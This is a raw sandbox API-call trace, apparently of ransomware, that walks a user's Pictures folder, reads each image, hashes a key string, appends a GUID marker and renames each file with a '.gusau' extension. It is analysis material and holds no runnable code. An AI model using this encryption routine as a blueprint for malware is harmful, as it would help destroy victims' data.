Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.769] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.769] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.769] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.769] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.769] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.769] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.769] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.769] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.769] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.770] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.770] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.771] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.771] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.772] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.772] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.772] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.772] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.772] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.772] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.772] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.772] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.772] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.772] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.772] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\pYG2mrJ4CHtyyhs xGQU\\") returned="pYG2mrJ4CHtyyhs xGQU\\" [0118.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\") returned="ZTE-\\" [0118.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0118.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.772] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.772] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.773] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.773] PathFindFileNameW (pszPath="") returned="" [0118.773] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\pYG2mrJ4CHtyyhs xGQU\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97eaea10, ftCreationTime.dwHighDateTime=0x1d4d301, ftLastAccessTime.dwLowDateTime=0x69fc20e0, ftLastAccessTime.dwHighDateTime=0x1d4ca07, ftLastWriteTime.dwLowDateTime=0x69fc20e0, ftLastWriteTime.dwHighDateTime=0x1d4ca07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.776] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.776] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97eaea10, ftCreationTime.dwHighDateTime=0x1d4d301, ftLastAccessTime.dwLowDateTime=0x69fc20e0, ftLastAccessTime.dwHighDateTime=0x1d4ca07, ftLastWriteTime.dwLowDateTime=0x69fc20e0, ftLastWriteTime.dwHighDateTime=0x1d4ca07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.776] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58106ca0, ftCreationTime.dwHighDateTime=0x1d4cb84, ftLastAccessTime.dwLowDateTime=0xd8a8f5e0, ftLastAccessTime.dwHighDateTime=0x1d4d53d, ftLastWriteTime.dwLowDateTime=0xd8a8f5e0, ftLastWriteTime.dwHighDateTime=0x1d4d53d, nFileSizeHigh=0x0, nFileSizeLow=0x15240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eyP8XnrLY rQ9ZYZ.gif", cAlternateFileName="EYP8XN~1.GIF")) returned 1 [0118.777] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\pYG2mrJ4CHtyyhs xGQU\\eyP8XnrLY rQ9ZYZ.gif") returned=".gif" [0118.777] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\pYG2mrJ4CHtyyhs xGQU\\eyP8XnrLY rQ9ZYZ.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\pyg2mrj4chtyyhs xgqu\\eyp8xnrly rq9zyz.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.777] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=86592) returned 1 [0118.777] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.779] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1521a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.779] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.781] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x15240, lpOverlapped=0x0) returned 1 [0118.782] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.782] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.782] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.782] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.783] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.783] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.783] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.783] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.783] GetLastError () returned 0x0 [0118.783] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.783] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.783] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.784] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x15240, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.784] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.784] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.784] CloseHandle (hObject=0x610) returned 1 [0118.785] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\pYG2mrJ4CHtyyhs xGQU\\eyP8XnrLY rQ9ZYZ.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\pyg2mrj4chtyyhs xgqu\\eyp8xnrly rq9zyz.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\pYG2mrJ4CHtyyhs xGQU\\eyP8XnrLY rQ9ZYZ.gif.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\pyg2mrj4chtyyhs xgqu\\eyp8xnrly rq9zyz.gif.gusau")) returned 1 [0118.786] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.786] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.787] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d05a0 | out: hHeap=0xd10000) returned 1 [0118.787] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88695f00, ftCreationTime.dwHighDateTime=0x1d4ccde, ftLastAccessTime.dwLowDateTime=0x6b7036b0, ftLastAccessTime.dwHighDateTime=0x1d4cb2d, ftLastWriteTime.dwLowDateTime=0x6b7036b0, ftLastWriteTime.dwHighDateTime=0x1d4cb2d, nFileSizeHigh=0x0, nFileSizeLow=0xad1a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lfJNr8tOZ7oDHun6ukoV.gif", cAlternateFileName="LFJNR8~1.GIF")) returned 1 [0118.787] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\pYG2mrJ4CHtyyhs xGQU\\lfJNr8tOZ7oDHun6ukoV.gif") returned=".gif" [0118.787] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\pYG2mrJ4CHtyyhs xGQU\\lfJNr8tOZ7oDHun6ukoV.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\pyg2mrj4chtyyhs xgqu\\lfjnr8toz7odhun6ukov.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.787] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=44314) returned 1 [0118.787] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.789] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xacf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.789] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.791] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xad1a, lpOverlapped=0x0) returned 1 [0118.791] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.791] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.792] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.792] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.792] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.792] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.792] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.792] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.792] GetLastError () returned 0x0 [0118.792] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.792] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.792] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.793] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xad1a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.793] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.793] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.793] CloseHandle (hObject=0x610) returned 1 [0118.794] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\pYG2mrJ4CHtyyhs xGQU\\lfJNr8tOZ7oDHun6ukoV.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\pyg2mrj4chtyyhs xgqu\\lfjnr8toz7odhun6ukov.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\pYG2mrJ4CHtyyhs xGQU\\lfJNr8tOZ7oDHun6ukoV.gif.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\pyg2mrj4chtyyhs xgqu\\lfjnr8toz7odhun6ukov.gif.gusau")) returned 1 [0118.794] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.794] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.795] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ce2340, ftCreationTime.dwHighDateTime=0x1d4d24f, ftLastAccessTime.dwLowDateTime=0xd74e7110, ftLastAccessTime.dwHighDateTime=0x1d4cebd, ftLastWriteTime.dwLowDateTime=0xd74e7110, ftLastWriteTime.dwHighDateTime=0x1d4cebd, nFileSizeHigh=0x0, nFileSizeLow=0xf386, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VFWyDHM.png", cAlternateFileName="")) returned 1 [0118.795] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\pYG2mrJ4CHtyyhs xGQU\\VFWyDHM.png") returned=".png" [0118.795] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\pYG2mrJ4CHtyyhs xGQU\\VFWyDHM.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\pyg2mrj4chtyyhs xgqu\\vfwydhm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.796] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=62342) returned 1 [0118.796] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.798] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf360, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.798] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.799] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xf386, lpOverlapped=0x0) returned 1 [0118.800] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.800] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.800] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.800] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.801] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.801] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.801] CryptGetHashParam (in: 